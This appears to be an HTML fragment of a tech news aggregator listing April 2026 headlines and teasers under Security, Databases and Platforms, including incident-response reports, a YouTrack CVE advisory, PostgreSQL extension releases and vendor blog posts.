<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-open-source-trap-why-trust-isnt-a-security-strategy" class="group relative scroll-mt-24">
        <a href="#h3-the-open-source-trap-why-trust-isnt-a-security-strategy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Open Source Trap: Why Trust Isn’t a Security Strategy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-open-source-trap-why-trust-isnt-a-security-strategy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The XZ Utils backdoor was a wake-up call, but the underlying problem it exposed has not gone away. Sophisticated adversaries are playing the long game, spending months or years earning trust within op</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/the-open-source-trap-why-trust-isnt-a-security-strategy/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-security-issue-in-youtrack-cve-2026-33392-upgrade-recommended-for-server-versions-before-20253132953" class="group relative scroll-mt-24">
        <a href="#h3-security-issue-in-youtrack-cve-2026-33392-upgrade-recommended-for-server-versions-before-20253132953" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Security Issue in YouTrack (CVE-2026-33392): Upgrade Recommended for Server Versions Before 2025.3.132953
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-security-issue-in-youtrack-cve-2026-33392-upgrade-recommended-for-server-versions-before-20253132953"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A security vulnerability in YouTrack came to light in March 2026, and we fixed it immediately. Most of you don’t need to do anything, but we want to keep you informed. For most YouTrack administrators</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/youtrack/2026/04/security-issue-in-youtrack-cve-2026-33392/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-ai-driven-shift-in-vulnerability-discovery-what-maintainers-and-bug-finders-need-to-know" class="group relative scroll-mt-24">
        <a href="#h3-the-ai-driven-shift-in-vulnerability-discovery-what-maintainers-and-bug-finders-need-to-know" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The AI-driven shift in vulnerability discovery: What maintainers and bug finders need to know
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-ai-driven-shift-in-vulnerability-discovery-what-maintainers-and-bug-finders-need-to-know"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI models have recently drastically changed the sophistication, speed and scale of software vulnerability discovery. It is now trivial for non-experts to find real vulnerabilities in software with min</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/16/the-ai-driven-shift-in-vulnerability-discovery-what-maintainers-and-bug-finders-need-to-know/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-one-click-security-scanning-and-org-wide-alert-triage-come-to-advanced-security" class="group relative scroll-mt-24">
        <a href="#h3-one-click-security-scanning-and-org-wide-alert-triage-come-to-advanced-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 One-click security scanning and org-wide alert triage come to Advanced Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-one-click-security-scanning-and-org-wide-alert-triage-come-to-advanced-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We’re shipping two major capabilities that change how security teams enable and act on application security in Azure DevOps: CodeQL default setup makes it possible to enable code scanning across your </p>
<p><strong>📅 Apr 15, 2026</strong> • <strong>📰 Azure DevOps Blog</strong></p>
<p><a href="https://devblogs.microsoft.com/devops/one-click-security-scanning-and-org-wide-alert-triage-come-to-advanced-security/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-navigating-enterprise-networking-challenges-with-amazon-eks-auto-mode" class="group relative scroll-mt-24">
        <a href="#h3-navigating-enterprise-networking-challenges-with-amazon-eks-auto-mode" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Navigating enterprise networking challenges with Amazon EKS Auto Mode
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-navigating-enterprise-networking-challenges-with-amazon-eks-auto-mode"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This post covers how EKS Auto Mode handles VPC CNI optimization, pod density scaling, network security implementation, and hybrid connectivity.</p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/navigating-enterprise-networking-challenges-with-amazon-eks-auto-mode/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-credcheck-v47-has-been-released" class="group relative scroll-mt-24">
        <a href="#h3-credcheck-v47-has-been-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 credcheck v4.7 has been released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-credcheck-v47-has-been-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Antananarivo, Madagascar - April 19, 2026 PostgreSQL credcheck extension The credcheck PostgreSQL extension provides few general credential checks, which will be evaluated during the user creation, du</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/credcheck-v47-has-been-released-3277/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pg_dbms_job-v20-released" class="group relative scroll-mt-24">
        <a href="#h3-pg_dbms_job-v20-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pg_dbms_job v2.0 released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pg_dbms_job-v20-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Antananarivo, Madagascar - April 19, 2026 PostgreSQL DBMS_JOB compatibility extension pg_dbms_job is a new PostgreSQL extension to create, manage and use Oracle-style DBMS_JOB scheduled job. The use a</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pg_dbms_job-v20-released-3278/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pgconfeu-2026-announced-call-for-community-day-event-proposals-now-open" class="group relative scroll-mt-24">
        <a href="#h3-pgconfeu-2026-announced-call-for-community-day-event-proposals-now-open" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 PGConf.EU 2026 Announced – Call for Community Day Event Proposals Now Open
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pgconfeu-2026-announced-call-for-community-day-event-proposals-now-open"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are pleased to announce that PostgreSQL Conference Europe 2026 will take place in València, Spain, from October 20–23, 2026. As part of the conference, we will once again host a Community Events Da</p>
<p><strong>📅 Apr 19, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pgconfeu-2026-announced-call-for-community-day-event-proposals-now-open-3276/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-apache-cloudberry-210-released-postgresql-based-mpp-database-for-analytics-ai-workloads" class="group relative scroll-mt-24">
        <a href="#h3-apache-cloudberry-210-released-postgresql-based-mpp-database-for-analytics-ai-workloads" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Apache Cloudberry 2.1.0 Released: PostgreSQL-Based MPP Database for Analytics & AI Workloads
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-apache-cloudberry-210-released-postgresql-based-mpp-database-for-analytics-ai-workloads"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Apache Cloudberry (Incubating) community is pleased to announce the release of Apache Cloudberry 2.1.0, the latest version of its massively parallel processing (MPP) database designed for large-sc</p>
<p><strong>📅 Apr 19, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/apache-cloudberry-210-released-postgresql-based-mpp-database-for-analytics-ai-workloads-3274/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-redis-achieves-google-cloud-ready-distributed-cloud-status-ahead-of-google-cloud-next-26" class="group relative scroll-mt-24">
        <a href="#h3-redis-achieves-google-cloud-ready-distributed-cloud-status-ahead-of-google-cloud-next-26" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Redis achieves Google Cloud Ready, Distributed Cloud status ahead of Google Cloud Next ‘26
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-redis-achieves-google-cloud-ready-distributed-cloud-status-ahead-of-google-cloud-next-26"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are heading into Google Cloud Next 2026 in Las Vegas with momentum. Redis has officially been approved as a validated solution on Google Cloud’s Google Distributed Cloud (GDC) platform. Our SaaS-in</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/redis-achieves-google-cloud-ready-distributed-cloud-status-ahead-of-google-cloud-next-26/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-happens-to-a-database-when-the-user-is-an-ai-agent" class="group relative scroll-mt-24">
        <a href="#h3-what-happens-to-a-database-when-the-user-is-an-ai-agent" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What Happens to a Database When the User is an AI agent
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-happens-to-a-database-when-the-user-is-an-ai-agent"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Editor’s note: This post originally appeared on The New Stack and is republished with permission. The original version is available here. In the past, we judged enterprise databases by how useful they</p>
<p><strong>📅 Apr 15, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/what-makes-a-database-for-ai-agents-different/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-hidden-insanity-of-dynamodb-pricing" class="group relative scroll-mt-24">
        <a href="#h3-the-hidden-insanity-of-dynamodb-pricing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Hidden Insanity of DynamoDB Pricing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-hidden-insanity-of-dynamodb-pricing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how to navigate some of the sneakiest aspects of DynamoDB pricing</p>
<p><strong>📅 Apr 15, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/15/the-hidden-insanity-of-dynamodb-pricing/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-research-reveals-overcoming-legacy-tech-issues-key-to-ai-success" class="group relative scroll-mt-24">
        <a href="#h3-new-research-reveals-overcoming-legacy-tech-issues-key-to-ai-success" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New Research Reveals Overcoming Legacy Tech Issues Key to AI Success
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-research-reveals-overcoming-legacy-tech-issues-key-to-ai-success"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This guest post comes from IDC’s Dr. William Lee, Senior Research Director, Service Provider and Core Infrastructure Research. MongoDB commissioned IDC to explore the connection between legacy infrast</p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 MongoDB Blog</strong></p>
<p><a href="https://www.mongodb.com/company/blog/innovation/new-research-reveals-overcoming-legacy-tech-issues-key-ai-success"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-api-throttling-algorithms-patterns-mistakes-to-avoid" class="group relative scroll-mt-24">
        <a href="#h3-api-throttling-algorithms-patterns-mistakes-to-avoid" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 API throttling: Algorithms, patterns & mistakes to avoid
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-api-throttling-algorithms-patterns-mistakes-to-avoid"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most teams add rate limiting once and never revisit it. They pick a fixed window counter because it&#39;s simple, deploy it with local counters, and move on. Then a misbehaving client gets through at 5x t</p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/api-throttling-algorithms-patterns/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
